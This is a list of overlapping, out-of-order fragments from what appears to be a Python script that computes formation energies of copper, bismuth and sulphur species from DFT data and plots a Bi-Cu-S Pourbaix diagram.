"dGf_BiS2=(Ee_BiS2+Fvib_BiS2) -(Ee_Bi+Fvib_Bi)-2*(Ee_S+Fvib_S); dGf_Bi2S3=(Ee_Bi2S3+Fvib_Bi2S3) -2*(Ee_Bi+Fvib_Bi)-3*(Ee_S+Fvib_S); dGf_Bi2S2O=(Ee_Bi2S2O+Fvib_Bi2S2O) -2*(Ee_Bi+Fvib_Bi)-2*(Ee_S+Fvib_S)-0.5*((Ee_O2)-Ftot_O2); dGf_Bi2SO4_3=(Ee_Bi2SO4_3+Fvib_Bi2SO4_3) -2*(Ee_Bi+Fvib_Bi)-3*(Ee_S+Fvib_S)-6.0*((Ee_O2)-Ftot_O2); dGf_Bi14OS24=(Ee_Bi14OS24+Fvib_Bi14OS24) -14*(Ee_Bi+Fvib_Bi)-24*(Ee_S+Fvib_S)-0.5*((Ee_O2)-Ftot_O2); dGf_Bi2SO2=(Ee_Bi2SO2+Fvib_Bi2SO2) -2*(Ee_Bi+Fvib_Bi)-(Ee_S+Fvib_S)-1.0*((Ee_O2)-Ftot_O2); dGf_BiSCuO=(Ee_BiSCuO+Fvib_BiSCuO)",
"flag[k,2]==muValues[i,j,0]): ax.plot(pH,U,'.', color = [flag[k,3],flag[k,4],flag[k,5]],markersize=4) #break loop, the color is found k=len(flag)+1 l=1",
"species[0,3]=1 species[1,3]=1 species[2,3]=2 species[3,3]=1 species[4,3]=1 species[5,3]=1 species[6,3]=1 species[7,3]=1 species[8,3]=1 species[9,3]=1 species[10,3]=1 species[11,3]=2 species[12,3]=3",
"combos[combo_num, 5, 2]=species[p,4] #Number H2O combos[combo_num, 6, 0]=species[k,5] combos[combo_num, 6, 1]=species[m,5] combos[combo_num, 6,",
"range(3,6): if(species[p,t]>1): current_NumEle=current_NumEle*species[p,t]; current_mu=f1*((current_eng+current_aquI-current_ele-current_H-current_H2O)/current_NumEle); #The second species' contribution to the mu current_eng=species[m,0]; current_ele=F*U*(species[m,1])",
"\"\"\" Created on Mon Jul 23 13:17:41 2018 @author: laurenwalters \"\"\" import numpy",
"= np.zeros((50,6)) # The first 4 indexes are the materials stored, the next",
"eV/f.u. #PBEsol with SOC Ee_Bi= -5.114928333; Ee_Bi2O3= -31.163316; Ee_Bi2O5= -40.1344765; Ee_Bi2O4=-36.7221975; Ee_Bi4O7=-68.40888; #PBEsol",
"species[53,5]=0 #BiSO species[54,5]=2 species[55,5]=3 species[56,5]=2 species[57,5]=3 species[58,5]=24 species[59,5]=1 #CuBiS species[60,5]=2 species[61,5]=9 species[62,5]=10 #BiCuSO",
"print('The number of species combinations is '+ str(combo_num)+'.\\n') ############################################################################### ############################################################################### ############################################################################### ############################################################################### ###########",
"species[38,3]=0 species[39,3]=0 species[40,3]=0 species[41,3]=0 species[42,3]=0 species[43,3]=0 species[44,3]=0 species[45,3]=0 species[46,3]=0 #CuBiSO species[47,3]=2 species[48,3]=7 species[49,3]=1",
"'+str(composition[0])+'Cu:' +str(composition[1])+'Bi:'+str(composition[2])+'S') ############################################################################### ############## Plot with Lines ############################################ ############################################################################### flag = np.zeros((50,6)) #",
"second species' contribution to the mu current_eng=species[s,0]; current_ele=F*U*(species[s,1]) current_H=R*T*np.log(10.0)*pH*(species[s,2]) current_H2O=dGf_H2O*(species[s,6]) current_aquI=R*T*np.log(nI)*(species[s,7]) current_NumEle=1 for",
"species[25,0]=dGf_S2_2Minus species[26,0]=dGf_S3_2Minus species[27,0]=dGf_S4_2Minus species[28,0]=dGf_S5_2Minus species[29,0]=dGf_H2S2O3 species[30,0]=dGf_HS2O3_Minus species[31,0]=dGf_S2O3_2Minus species[32,0]=dGf_S5O6_2Minus species[33,0]=dGf_S4O6_2Minus species[34,0]=dGf_HS2O4_Minus species[35,0]=dGf_S2O4_2Minus species[36,0]=dGf_S3O6_2Minus species[37,0]=dGf_H2SO3",
"flag[k,2]==muValues[i,j,1]): ax.plot(pH,U,'.', color = [flag[k,3],flag[k,4],flag[k,5]],markersize=4) #break loop, the color is found k=len(flag)+1 l=1",
"U=Ulow+(j*Ucount); #If drawing lines for metastable phases if((muValues[i,j,0]!=muValues[i-1,j,0])): ax.plot(pH,U,'.', color = [0.0,0.0,0.0],markersize=2) elif(muValues[i,j,1]!=muValues[i-1,j,1]):",
"current_H=R*T*np.log(10.0)*pH*(species[p,2]) current_H2O=dGf_H2O*(species[p,6]) current_aquI=R*T*np.log(nI)*(species[p,7]) current_NumEle=1 for t in range(3,6): if(species[p,t]>1): current_NumEle=current_NumEle*species[p,t]; current_mu=f1*((current_eng+current_aquI-current_ele-current_H-current_H2O)/current_NumEle); #The second",
"if((species[k, 5]==0 and species[m, 5] ==0) or \\ (species[m, 5]==0 and species[p, 5]",
"species[32,1]=10 species[33,1]=10 species[34,1]=6 species[35,1]=6 species[36,1]=10 species[37,1]=4 species[38,1]=4 species[39,1]=4 species[40,1]=10 species[41,1]=6 species[42,1]=6 species[43,1]=6 species[44,1]=14",
"dGf_H2S=dGf_H2S*F; dGf_HS_Minus=dGf_HS_Minus*F; dGf_S_2Minus=dGf_S_2Minus*F; dGf_S2_2Minus=dGf_S2_2Minus*F; dGf_S3_2Minus=dGf_S3_2Minus*F; dGf_S4_2Minus=dGf_S4_2Minus*F; dGf_S5_2Minus=dGf_S5_2Minus*F; dGf_H2S2O3=dGf_H2S2O3*F; dGf_HS2O3_Minus=dGf_HS2O3_Minus*F; dGf_S2O3_2Minus=dGf_S2O3_2Minus*F; dGf_S5O6_2Minus=dGf_S5O6_2Minus*F; dGf_S4O6_2Minus=dGf_S4O6_2Minus*F; dGf_HS2O4_Minus=dGf_HS2O4_Minus*F;",
"#CuSBiO species[47,4]=0 species[48,4]=0 species[49,4]=0 species[50,4]=0 species[51,4]=0 species[52,4]=1 species[53,4]=2 #BiSO species[54,4]=1 species[55,4]=2 species[56,4]=2 species[57,4]=2",
"sort[1,0]=m sort[2,0]=s a=np.sort(sort[:,0]) muValues[i,j,0]=a[0] muValues[i,j,1]=a[1] muValues[i,j,2]=a[2] muValues[i,j,3]=current_mu ############################################################################### ############################################################################### ############################################################################### ############################################################################### ################### Plot",
"ax=plt.subplot(111) ax = plt.gca() ax.set_xlim([lowpH,highpH]) ax.set_ylim([Ulow,Uhigh]) #If drawing lines for metastable phases for",
"species[47,7]=0 species[48,7]=0 species[49,7]=0 species[50,7]=0 species[51,7]=0 species[52,7]=0 species[53,7]=0 #BiSO species[54,7]=0 species[55,7]=0 species[56,7]=0 species[57,7]=0 species[58,7]=0",
"for i in range(0, pHrange): pHArray[i] =lowpH+i; muH[i]=-0.059*pHArray[i]; muH2O[i]=1.23-0.059*pHArray[i]; pHArray[pHrange] =lowpH+(pHrange); muH[pHrange]=-0.059*pHArray[pHrange]; muH2O[pHrange]=1.23-0.059*pHArray[pHrange];",
"-2; highpH = 16; pHrange = int; pHrange = highpH-lowpH; pHcount = pHrange/n;",
"#BiCuSO species[63,2]=2 species[64,2]=0 ########### Number of Coppers Cu ############################################## #Cu species[0,3]=1 species[1,3]=1 species[2,3]=2",
"species[p,5]]]) #check to see if each species contains a single element. This is",
"Energies of Formation in eV/f.u. ##Elemental Bismuth Species dGf_Bi_3Plus= 0.6430898 dGf_BiOH_2Plus= -1.6968378 dGf_BiO_Plus=",
"species[20,0]=dGf_BiO_Plus species[21,0]=dGf_S species[22,0]=dGf_H2S species[23,0]=dGf_HS_Minus species[24,0]=dGf_S_2Minus species[25,0]=dGf_S2_2Minus species[26,0]=dGf_S3_2Minus species[27,0]=dGf_S4_2Minus species[28,0]=dGf_S5_2Minus species[29,0]=dGf_H2S2O3 species[30,0]=dGf_HS2O3_Minus species[31,0]=dGf_S2O3_2Minus species[32,0]=dGf_S5O6_2Minus",
"or \\ (species[k, 4]==0 and species[p, 4] ==0)): if((species[k, 5]==0 and species[m, 5]",
"############################################################################### #Vibrational Energies in eV/f.u. #From PBEsol Phonon Calculations Fvib_O2=-0.272; F_rot_trans_O2=0.099; Ftot_O2=Fvib_O2+F_rot_trans_O2; F_H",
"for t in range(3,6): if(species[p,t]>1): current_NumEle=current_NumEle*species[p,t]; current_mu=f1*((current_eng+current_aquI-current_ele-current_H-current_H2O)/current_NumEle); #The second species' contribution to the",
"final combo f_total=f[0]+f[1]+f[2]; combos[combo_num, 8, 0]=f[0]/f_total combos[combo_num, 8, 1]=f[1]/f_total combos[combo_num, 8, 2]=f[2]/f_total combo_num=combo_num+1;",
"pHcount = pHrange/n; #used to iterate through pH range #Applied Potential Range and",
"species[35,2]=8 species[36,2]=12 species[37,2]=4 species[38,2]=5 species[39,2]=6 species[40,2]=12 species[41,2]=6 species[42,2]=7 species[43,2]=8 species[44,2]=16 species[45,2]=9 species[46,2]=10 #CuSBiO",
"if(current_mu<muValues[i,j,3]): sort[0,0]=p sort[1,0]=m sort[2,0]=s a=np.sort(sort[:,0]) muValues[i,j,0]=a[0] muValues[i,j,1]=a[1] muValues[i,j,2]=a[2] muValues[i,j,3]=current_mu ############################################################################### ############################################################################### ############################################################################### ###############################################################################",
"Populate the species matrix ################################ ############################################################################### species=np.zeros((65,8)) ######## Formation Energies ################################################### species[0,0]=0.00; species[1,0]=dGf_CuO",
"there is at least one multi-element species in this combination if(flag==1): #test each",
"#Cu species[0,1]=0.00; species[1,1]=2 species[2,1]=2 species[3,1]=1 species[4,1]=2 species[5,1]=2 species[6,1]=1 species[7,1]=2 species[8,1]=2 species[9,1]=2 species[10,1]=1 species[11,1]=4",
"dGf_BiS2=dGf_BiS2*F; dGf_Bi2S3=dGf_Bi2S3*F; dGf_Bi2S2O=dGf_Bi2S2O*F; dGf_Bi2SO4_3=dGf_Bi2SO4_3*F; dGf_Bi14OS24=dGf_Bi14OS24*F; dGf_Bi2SO2=dGf_Bi2SO2*F; dGf_BiSCuO=dGf_BiSCuO*F; dGf_Cu3BiS3=dGf_Cu3BiS3*F; dGf_Cu4Bi4S9=dGf_Cu4Bi4S9*F; dGf_Cu4BiS2_5=dGf_Cu4BiS2_5*F; dGf_CuBiS2=dGf_CuBiS2*F; dGf_H2O= dGf_H2O*F;",
"detail you want in your graph #n=input(\"Enter the mesh grid detail you want,",
"#The second species' contribution to the mu current_eng=species[m,0]; current_ele=F*U*(species[m,1]) current_H=R*T*np.log(10.0)*pH*(species[m,2]) current_H2O=dGf_H2O*(species[m,6]) current_aquI=R*T*np.log(nI)*(species[m,7]) current_NumEle=1",
"= plt.gca() ax.set_xlim([lowpH,highpH]) ax.set_ylim([Ulow,Uhigh]) l=0; index=0; for i in range(0, n+1): pH=lowpH+i*pHcount; for",
"the value of t back to no t=1 save('BiCuOS-speciesCombo.npy', combos) save('BiCuOS-numberSpecies.npy', asarray([[combo_num]])) print('The",
"23 13:17:41 2018 @author: laurenwalters \"\"\" import numpy as np import matplotlib.pyplot as",
"allow #For the if(((h*a[0,0]+i*a[0,1]+j*a[0,2])/(h*a[1,0]+i*a[1,1]+j*a[1,2]))==composition[0]/composition[1] and \\ ((h*a[1,0]+i*a[1,1]+j*a[1,2])/(h*a[2,0]+i*a[2,1]+j*a[2,2]))==composition[1]/composition[2] and \\ ((h*a[0,0]+i*a[0,1]+j*a[0,2])/(h*a[2,0]+i*a[2,1]+j*a[2,2]))==composition[0]/composition[2]): #save the composition",
"muValues[i,j,3]=current_mu ############################################################################### ############################################################################### ############################################################################### ############################################################################### ################### Plot Pourbaix Diagram ################################### ############################################################################### flag =",
"the mesh grid detail you want, suggested (30-140): \") n=30; #Constants R=8.31447; #kJ/(mol*K)",
"species[16,6]=4 species[17,6]=7 species[18,6]=0 species[19,6]=1 species[20,6]=1 #Sulphur species[21,6]=0 species[22,6]=0 species[23,6]=0 species[24,6]=0 species[25,6]=0 species[26,6]=0 species[27,6]=0",
"#S species[21,2]=0 species[22,2]=-2 species[23,2]=-1 species[24,2]=0 species[25,2]=0 species[26,2]=0 species[27,2]=0 species[28,2]=0 species[29,2]=6 species[30,2]=5 species[31,2]=4 species[32,2]=12",
"\\ (species[m, 4]==0 and species[p, 4] ==0) or \\ (species[k, 4]==0 and species[p,",
"species[57,7]=0 species[58,7]=0 species[59,7]=0 #CuBiS species[60,7]=0 species[61,7]=0 species[62,7]=0 #BiCuSO species[63,7]=0 species[64,7]=0 #Function to determine",
"lowpH = -2; highpH = 16; pHrange = int; pHrange = highpH-lowpH; pHcount",
"Ee_BiS2=-14.6172585; Ee_Bi2S3=-24.878388; Ee_Bi2S2O=-27.2327565; Ee_Bi2SO4_3=-109.35902; Ee_Bi14OS24=-247.57619; Ee_Bi2SO2=-29.50652; Ee_BiSCuO=-21.5022935; Ee_Cu3BiS3=-32.4713275; Ee_Cu4Bi4S9=-80.830705; Ee_Cu4BiS2_5=-90.647798; Ee_CuBiS2=-19.041996; ############################################################################### ######",
"species[55,2]=0 species[56,2]=2 species[57,2]=24 species[58,2]=2 species[59,2]=4 #BiCuS species[60,2]=0 species[61,2]=0 species[62,2]=0 #BiCuSO species[63,2]=2 species[64,2]=0 ###########",
"#Bismuth species[13,7]=0 species[14,7]=0 species[15,7]=0 species[16,7]=0 species[17,7]=0 species[18,7]=1 species[19,7]=1 species[20,7]=1 #Sulphur species[21,7]=0 species[22,7]=1 species[23,7]=1",
"of species combinations is '+ str(combo_num)+'.\\n') ############################################################################### ############################################################################### ############################################################################### ############################################################################### ########### Chemical Potential",
"Range and Constants lowpH = -2; highpH = 16; pHrange = int; pHrange",
"combos[combo_num, 5, 0]=species[k,4] combos[combo_num, 5, 1]=species[m,4] combos[combo_num, 5, 2]=species[p,4] #Number H2O combos[combo_num, 6,",
"dGf_HSO3_Minus=dGf_HSO3_Minus*F; dGf_SO3_2Minus=dGf_SO3_2Minus*F; dGf_S2O6_2Minus=dGf_S2O6_2Minus*F; dGf_H2SO4=dGf_H2SO4*F; dGf_HSO4_Minus=dGf_HSO4_Minus*F; dGf_SO4_2Minus=dGf_SO4_2Minus*F; dGf_S2O8_2Minus=dGf_S2O8_2Minus*F; dGf_HSO5_Minus=dGf_HSO5_Minus*F; dGf_S2O5_2Minus=dGf_S2O5_2Minus*F; dGf_Cu2S=dGf_Cu2S*F; dGf_Cu7S4=dGf_Cu7S4*F; dGf_CuS=dGf_CuS*F; dGf_CuS2=dGf_CuS2*F;",
"ax.plot(pHArray[:], muH2O[:],'b--',label='$H_2O$', linewidth=1) plt.ylabel('Electric Potential, E(V)') plt.xlabel('pH') plt.title('Bi-Cu-S Pourbaix Diagram, $\\eta_{Bi,Cu,S}=10^{-'+str(eta)+'}$, '+str(composition[0])+'Cu:' +str(composition[1])+'Bi:'+str(composition[2])+'S')",
"combos=load('BiCuOS-speciesCombo.npy') num=load('BiCuOS-numberSpecies.npy') combo_num=int(num[0]) except OSError: print('Cannot Open File') ############################################################################### #### Determine which species",
"dGf_Bi_3Plus= dGf_Bi_3Plus*F; dGf_BiOH_2Plus= dGf_BiOH_2Plus*F; dGf_BiO_Plus= dGf_BiO_Plus*F; dGf_S= dGf_S*F; dGf_H2S=dGf_H2S*F; dGf_HS_Minus=dGf_HS_Minus*F; dGf_S_2Minus=dGf_S_2Minus*F; dGf_S2_2Minus=dGf_S2_2Minus*F; dGf_S3_2Minus=dGf_S3_2Minus*F;",
"t in range(3,6): if(species[m,t]>1): current_NumEle=current_NumEle*species[m,t]; current_mu=current_mu+f2*((current_eng+current_aquI-current_ele-current_H-current_H2O)/current_NumEle); #The second species' contribution to the mu",
"species[50,4]=0 species[51,4]=0 species[52,4]=1 species[53,4]=2 #BiSO species[54,4]=1 species[55,4]=2 species[56,4]=2 species[57,4]=2 species[58,4]=14 species[59,4]=2 #CuBiS species[60,4]=1",
"for j in range(0,n+1): U=Ulow+(Ucount*j); l=0 for k in range(0, len(flag)): if(flag[k,0]==muValues[i,j,0] and",
"species[40,7]=1 species[41,7]=1 species[42,7]=1 species[43,7]=1 species[44,7]=1 species[45,7]=1 species[46,7]=1 #CuSBiO species[47,7]=0 species[48,7]=0 species[49,7]=0 species[50,7]=0 species[51,7]=0",
"species[5,5]=0 species[6,5]=0 species[7,5]=0 species[8,5]=0 species[9,5]=0 species[10,5]=0 species[11,5]=0 species[12,5]=0 #Bismuth species[13,5]=0 species[14,5]=0 species[15,5]=0 species[16,5]=0",
"species[32,5]=5 species[33,5]=4 species[34,5]=2 species[35,5]=2 species[36,5]=3 species[37,5]=1 species[38,5]=1 species[39,5]=1 species[40,5]=2 species[41,5]=1 species[42,5]=1 species[43,5]=1 species[44,5]=2",
"dGf_S3_2Minus=dGf_S3_2Minus*F; dGf_S4_2Minus=dGf_S4_2Minus*F; dGf_S5_2Minus=dGf_S5_2Minus*F; dGf_H2S2O3=dGf_H2S2O3*F; dGf_HS2O3_Minus=dGf_HS2O3_Minus*F; dGf_S2O3_2Minus=dGf_S2O3_2Minus*F; dGf_S5O6_2Minus=dGf_S5O6_2Minus*F; dGf_S4O6_2Minus=dGf_S4O6_2Minus*F; dGf_HS2O4_Minus=dGf_HS2O4_Minus*F; dGf_S2O4_2Minus=dGf_S2O4_2Minus*F; dGf_S3O6_2Minus=dGf_S3O6_2Minus*F; dGf_H2SO3=dGf_H2SO3*F; dGf_HSO3_Minus=dGf_HSO3_Minus*F;",
"Fvib_Cu2O=0.00507624852 Fvib_Cu=-0.007167374680 Fvib_CuOH2_s=0.66653026525 Fvib_Bi=-0.0761976993239 Fvib_Bi2O3=-0.057653546889 Fvib_Bi2O5=0.14677315404 Fvib_Bi2O4=0.12231438709 Fvib_Bi4O7=0.08741679245 Fvib_Cu2S=-0.0050937891364 Fvib_Cu7S4=-0.178002185722 Fvib_CuS=-0.0119849701814 Fvib_CuS2=-0.0033060080158 Fvib_Cu2SO4_3=1.00135494361",
"sure each element is in this combination of species if((species[k, 3]>0 or species[m,",
"species[23,5]=1 species[24,5]=1 species[25,5]=2 species[26,5]=3 species[27,5]=4 species[28,5]=5 species[29,5]=2 species[30,5]=2 species[31,5]=2 species[32,5]=5 species[33,5]=4 species[34,5]=2 species[35,5]=2",
"combos[combo_num, 7, 0]=species[k,6] combos[combo_num, 7, 1]=species[m,6] combos[combo_num, 7, 2]=species[p,6] #Percent of each in",
"species[3,2]=0 species[4,2]=0 species[5,2]=4 species[6,2]=2 species[7,2]=3 species[8,2]=1 species[9,2]=2 species[10,2]=1 species[11,2]=2 species[12,2]=4 #Bi species[13,2]=0 species[14,2]=6",
"Fvib_Bi2O3=-0.057653546889 Fvib_Bi2O5=0.14677315404 Fvib_Bi2O4=0.12231438709 Fvib_Bi4O7=0.08741679245 Fvib_Cu2S=-0.0050937891364 Fvib_Cu7S4=-0.178002185722 Fvib_CuS=-0.0119849701814 Fvib_CuS2=-0.0033060080158 Fvib_Cu2SO4_3=1.00135494361 Fvib_BiCu=-0.11006963132 Fvib_CuBiO2_2=0.09853363658 Fvib_BiS2=-0.063943629448 Fvib_Bi2S3=-0.1428187610337",
"in range(1, 20): for j in range(1, 20): #Is there a linear combination",
"dGf_CuOH2_s= (Ee_CuOH2_s+Fvib_CuOH2_s) -(Ee_Cu+Fvib_Cu)-(Ee_O2+Ftot_O2)-(Ee_H2+F_H); dGf_Bi2O3= ((Ee_Bi2O3)+Fvib_Bi2O3) -2.0*(Ee_Bi+Fvib_Bi)-1.5*(Ee_O2-Ftot_O2); dGf_Bi2O5= ((Ee_Bi2O5)+Fvib_Bi2O5) -2.0*(Ee_Bi+Fvib_Bi)-2.5*(Ee_O2-Ftot_O2); dGf_Bi2O4= ((Ee_Bi2O4)+Fvib_Bi2O4) -2.0*(Ee_Bi+Fvib_Bi)-2.0*(Ee_O2-Ftot_O2); dGf_Bi4O7=",
"F= 9.648533*10**4; #kJ/(V*mol) P=1; #bar, 10^5*Pa eta=6 nI=10**-eta; #Activity Concentration #Array showing the",
"3] >0 or species[p, 3]) \\ and (species[k, 4]>0 or species[m, 4] >0",
"plt.xlabel('pH') plt.title('Bi-Cu-S Pourbaix Diagram, $\\eta_{Bi,Cu,S}=10^{-'+str(eta)+'}$, '+str(composition[0])+'Cu:' +str(composition[1])+'Bi:'+str(composition[2])+'S') chartBox=ax.get_position() ax.set_position([chartBox.x0, chartBox.y0, chartBox.width*1.5, chartBox.height*1.5]) ax.legend(loc='upper",
"species[29,3]=0 species[30,3]=0 species[31,3]=0 species[32,3]=0 species[33,3]=0 species[34,3]=0 species[35,3]=0 species[36,3]=0 species[37,3]=0 species[38,3]=0 species[39,3]=0 species[40,3]=0 species[41,3]=0",
"Ee_CuS=-9.170266; Ee_CuS2=-13.63935; Ee_Cu2SO4_3=-101.5166; Ee_BiCu=-9.31218; Ee_CuBiO2_2=-42.245475; Ee_BiS2=-14.6172585; Ee_Bi2S3=-24.878388; Ee_Bi2S2O=-27.2327565; Ee_Bi2SO4_3=-109.35902; Ee_Bi14OS24=-247.57619; Ee_Bi2SO2=-29.50652; Ee_BiSCuO=-21.5022935; Ee_Cu3BiS3=-32.4713275;",
"save('BiCuOS-numberSpecies.npy', asarray([[combo_num]])) print('The number of species combinations is '+ str(combo_num)+'.\\n') ############################################################################### ############################################################################### ###############################################################################",
"of Formation in eV/f.u. dGf_CuO= (Ee_CuO+Fvib_CuO) -(Ee_Cu+Fvib_Cu) - 0.5*(Ee_O2+Ftot_O2); dGf_Cu2O=(Ee_Cu2O+Fvib_Cu2O) -2.0*(Ee_Cu+Fvib_Cu) - 0.5*(Ee_O2+Ftot_O2);",
"species[31,3]=0 species[32,3]=0 species[33,3]=0 species[34,3]=0 species[35,3]=0 species[36,3]=0 species[37,3]=0 species[38,3]=0 species[39,3]=0 species[40,3]=0 species[41,3]=0 species[42,3]=0 species[43,3]=0",
"contribution to the mu current_eng=species[s,0]; current_ele=F*U*(species[s,1]) current_H=R*T*np.log(10.0)*pH*(species[s,2]) current_H2O=dGf_H2O*(species[s,6]) current_aquI=R*T*np.log(nI)*(species[s,7]) current_NumEle=1 for t in",
"Sulphur species[13,3]=0 species[14,3]=0 species[15,3]=0 species[16,3]=0 species[17,3]=0 species[18,3]=0 species[19,3]=0 species[20,3]=0 species[21,3]=0 species[22,3]=0 species[23,3]=0 species[24,3]=0",
"#Copper species[0,6]=0 species[1,6]=1 species[2,6]=1 species[3,6]=0 species[4,6]=0 species[5,6]=4 species[6,6]=2 species[7,6]=3 species[8,6]=1 species[9,6]=2 species[10,6]=1 species[11,6]=2",
"################################ ############################################################################### species=np.zeros((65,8)) ######## Formation Energies ################################################### species[0,0]=0.00; species[1,0]=dGf_CuO species[2,0]=dGf_Cu2O species[3,0]=dGf_Cu1 species[4,0]=dGf_Cu2 species[5,0]=dGf_CuOH4_2",
"eta=6 nI=10**-eta; #Activity Concentration #Array showing the composition of Cu:Bi:S composition=np.array([1,1,1]) #pH Range",
"Jul 23 13:17:41 2018 @author: laurenwalters \"\"\" import numpy as np import matplotlib.pyplot",
"muH2O[:],'b--',label='$H_2O$', linewidth=1) ax.legend(loc='upper center', bbox_to_anchor=(1.3, 0.9), ncol=1) plt.ylabel('Electric Potential, E(V)') plt.xlabel('pH') plt.title('Bi-Cu-S Pourbaix",
"species[3,3]=1 species[4,3]=1 species[5,3]=1 species[6,3]=1 species[7,3]=1 species[8,3]=1 species[9,3]=1 species[10,3]=1 species[11,3]=2 species[12,3]=3 #Bismuth and Sulphur",
"range(0, combo_num): p=int(combos[k,0,0]); m=int(combos[k,0,1]); s=int(combos[k,0,2]); f1=combos[k,8,0]; f2=combos[k,8,1]; f3=combos[k,8,2]; #The first species's contribution to",
"the composition of Cu:Bi:S composition=np.array([1,1,1]) #pH Range and Constants lowpH = -2; highpH",
"#If there is a linear combination, save the species in the combos array.",
"############################################################################### ############################################################################### ############################################################################### ############################################################################### ################### Plot Pourbaix Diagram ################################### ############################################################################### flag = np.zeros((50,6))",
"#CuSBiO species[47,2]=0 species[48,2]=0 species[49,2]=0 species[50,2]=0 species[51,2]=24 species[52,2]=0 species[53,2]=8 #BiSO species[54,2]=0 species[55,2]=0 species[56,2]=2 species[57,2]=24",
"species[40,0]=dGf_S2O6_2Minus species[41,0]=dGf_H2SO4 species[42,0]=dGf_HSO4_Minus species[43,0]=dGf_SO4_2Minus species[44,0]=dGf_S2O8_2Minus species[45,0]=dGf_HSO5_Minus species[46,0]=dGf_S2O5_2Minus species[47,0]=dGf_Cu2S species[48,0]=dGf_Cu7S4 species[49,0]=dGf_CuS species[50,0]=dGf_CuS2 species[51,0]=dGf_Cu2SO4_3 species[52,0]=dGf_BiCu",
"species[5,2]=4 species[6,2]=2 species[7,2]=3 species[8,2]=1 species[9,2]=2 species[10,2]=1 species[11,2]=2 species[12,2]=4 #Bi species[13,2]=0 species[14,2]=6 species[15,2]=10 species[16,2]=8",
"species[34,4]=0 species[35,4]=0 species[36,4]=0 species[37,4]=0 species[38,4]=0 species[39,4]=0 species[40,4]=0 species[41,4]=0 species[42,4]=0 species[43,4]=0 species[44,4]=0 species[45,4]=0 species[46,4]=0",
"loop, the color is found k=len(flag)+1 l=1 elif(flag[k,0]==muValues[i,j,0] and flag[k,1]==muValues[i,j,2]and flag[k,2]==muValues[i,j,1]): ax.plot(pH,U,'.', color",
"Energies of Formation ######################### #Free Energies of Formation in eV/f.u. ##Elemental Bismuth Species",
"\\ [species[k, 4],species[m, 4], species[p,4]], \\ [species[k, 5],species[m, 5], species[p,5]]]) #check to see",
"that will be calculated. muValues=np.zeros((n+1,n+1,4)) current_mu=int current_ele=int current_H=int current_H2O=int current_aquI=int current_NumEle=int sort=np.zeros((3,1)) #fill",
"species[59,6]=2 #CuBiS species[60,6]=0 species[61,6]=0 species[62,6]=0 #BiCuSO species[63,6]=1 species[64,6]=0 ########## Aqueous Ions?????? ################################################# #Copper",
"first 4 indexes are the materials stored, the next three are the colors",
"species[p, 5] ==0) or \\ (species[k, 5]==0 and species[p, 5] ==0)): flag=0 #if",
"species[52,2]=0 species[53,2]=8 #BiSO species[54,2]=0 species[55,2]=0 species[56,2]=2 species[57,2]=24 species[58,2]=2 species[59,2]=4 #BiCuS species[60,2]=0 species[61,2]=0 species[62,2]=0",
"(species[m, 4]==0 and species[p, 4] ==0) or \\ (species[k, 4]==0 and species[p, 4]",
"though linear algebra. try: f=np.linalg.solve(a, composition) except: #print('Error: Species '+str(k)+', Species2: '+str(m)+', Species3:",
"species[0,2]=0 species[1,2]=2 species[2,2]=2 species[3,2]=0 species[4,2]=0 species[5,2]=4 species[6,2]=2 species[7,2]=3 species[8,2]=1 species[9,2]=2 species[10,2]=1 species[11,2]=2 species[12,2]=4",
"species[46,6]=5 #CuSBiO species[47,6]=0 species[48,6]=0 species[49,6]=0 species[50,6]=0 species[51,6]=12 species[52,6]=0 species[53,6]=4 #BiSO species[54,6]=0 species[55,6]=0 species[56,6]=1",
"species[63,4]=1 species[64,4]=1 ########### Number of Sulphurs S ############################################# #Coppers species[0,5]=0 species[1,5]=0 species[2,5]=0 species[3,5]=0",
"Pourbaix Diagram, $\\eta_{Bi,Cu,S}=10^{-'+str(eta)+'}$, '+str(composition[0])+'Cu:' +str(composition[1])+'Bi:'+str(composition[2])+'S') chartBox=ax.get_position() ax.set_position([chartBox.x0, chartBox.y0, chartBox.width*1.5, chartBox.height*1.5]) ax.legend(loc='upper center', bbox_to_anchor=(1.3,",
"of each in species in final combo f_total=f[0]+f[1]+f[2]; combos[combo_num, 8, 0]=f[0]/f_total combos[combo_num, 8,",
"T=298.15; #K F= 9.648533*10**4; #kJ/(V*mol) P=1; #bar, 10^5*Pa eta=6 nI=10**-eta; #Activity Concentration #Array",
"linear combination for h in range(1, 20): for i in range(1, 20): for",
"dGf_Cu1*F; dGf_Cu2= dGf_Cu2*F; dGf_CuOH4_2= dGf_CuOH4_2*F; dGf_CuOH2_minus= dGf_CuOH2_minus*F; dGf_CuOH3= dGf_CuOH3*F; dGf_CuOH_Plus= dGf_CuOH_Plus*F; dGf_CuOH2= dGf_CuOH2*F;",
"5])): #save species in array t=1 a = np.array([[species[k, 3],species[m, 3], species[p,3]], \\",
"species[41,3]=0 species[42,3]=0 species[43,3]=0 species[44,3]=0 species[45,3]=0 species[46,3]=0 #CuBiSO species[47,3]=2 species[48,3]=7 species[49,3]=1 species[50,3]=1 species[51,3]=2 species[52,3]=1",
"stored, the next three are the colors index=0; fig =plt.figure() ax=plt.subplot(111) ax =",
"Number of Coppers Cu ############################################## #Cu species[0,3]=1 species[1,3]=1 species[2,3]=2 species[3,3]=1 species[4,3]=1 species[5,3]=1 species[6,3]=1",
"species[43,6]=4 species[44,6]=8 species[45,6]=5 species[46,6]=5 #CuSBiO species[47,6]=0 species[48,6]=0 species[49,6]=0 species[50,6]=0 species[51,6]=12 species[52,6]=0 species[53,6]=4 #BiSO",
"species[56,7]=0 species[57,7]=0 species[58,7]=0 species[59,7]=0 #CuBiS species[60,7]=0 species[61,7]=0 species[62,7]=0 #BiCuSO species[63,7]=0 species[64,7]=0 #Function to",
"= [0.0,0.0,0.0],markersize=2) elif((muValues[i,j,0]!=muValues[i,j-1,0]) or (muValues[i,j,1]!=muValues[i,j-1,1])): ax.plot(pH,U,'.', color = [0.0,0.0,0.0],markersize=2) elif((muValues[i,j,2]!=muValues[i,j-1,2]) or (muValues[i,j,2]!=muValues[i-1,j,2])): ax.plot(pH,U,'.',",
"Fvib_O2=-0.272; F_rot_trans_O2=0.099; Ftot_O2=Fvib_O2+F_rot_trans_O2; F_H = .202; Fvib_S=-0.0091266451372 Fvib_CuO=0.062498987735 Fvib_Cu2O=0.00507624852 Fvib_Cu=-0.007167374680 Fvib_CuOH2_s=0.66653026525 Fvib_Bi=-0.0761976993239 Fvib_Bi2O3=-0.057653546889",
